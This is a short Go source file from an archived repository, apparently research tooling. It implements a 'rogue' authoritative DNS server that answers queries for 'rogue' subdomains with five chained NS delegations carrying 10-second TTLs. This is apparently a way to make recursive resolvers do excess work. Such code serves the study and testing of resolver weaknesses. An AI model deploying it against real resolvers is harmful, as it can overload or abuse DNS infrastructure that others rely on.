This repository has been archived on 2025-09-14. You can view files and clone it, but cannot push or open issues or pull requests.
Files
modikai-rogue-ns/rogue_ns.go

65 lines
1.6 KiB
Go
Raw Normal View History

2024-06-03 19:20:05 +08:00
package main
import (
"flag"
"net"
"strconv"
"strings"
"github.com/miekg/dns"
)
func rogue_delegation(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)
m.Compress = true
m.Authoritative = true
qname := m.Question[0].Name
qtype := m.Question[0].Qtype
subdomain := strings.ToLower(strings.Split(qname, ".")[0])
if qtype == dns.TypeA {
if subdomain == "ns1" || subdomain == "ns2" {
resp := &dns.A{
Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10},
A: net.ParseIP(CONFIG_NS),
}
m.Answer = append(m.Answer, resp)
} else if strings.Contains(subdomain, "rogue") {
var ns_target string
var resp *dns.NS
for i := 0; i < 5; i++ {
ns_target = strings.Join([]string{subdomain + strconv.Itoa(i), CONFIG_SLD}, ".")
resp = &dns.NS{
Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 10},
Ns: dns.Fqdn(ns_target),
}
m.Ns = append(m.Ns, resp)
}
} else {
m.MsgHdr.Rcode = dns.RcodeNameError
}
} else {
m.MsgHdr.Rcode = dns.RcodeNameError
}
w.WriteMsg(m)
}
var CONFIG_SLD string
var CONFIG_NS string
func main() {
flag.StringVar(&CONFIG_NS, "ns", "8.8.8.8", "nameserver ip address")
flag.StringVar(&CONFIG_SLD, "sld", "", "configure sld for rogue server")
flag.Parse()
if CONFIG_SLD == "" {
panic("Please configure the SLD for the echo dns server!\n")
}
dns.HandleFunc(dns.Fqdn(CONFIG_SLD), rogue_delegation)
server := &dns.Server{Addr: ":53", Net: "udp"}
if err := server.ListenAndServe(); err != nil {
println("Failed to set up the rogue server")
panic(err)
}
}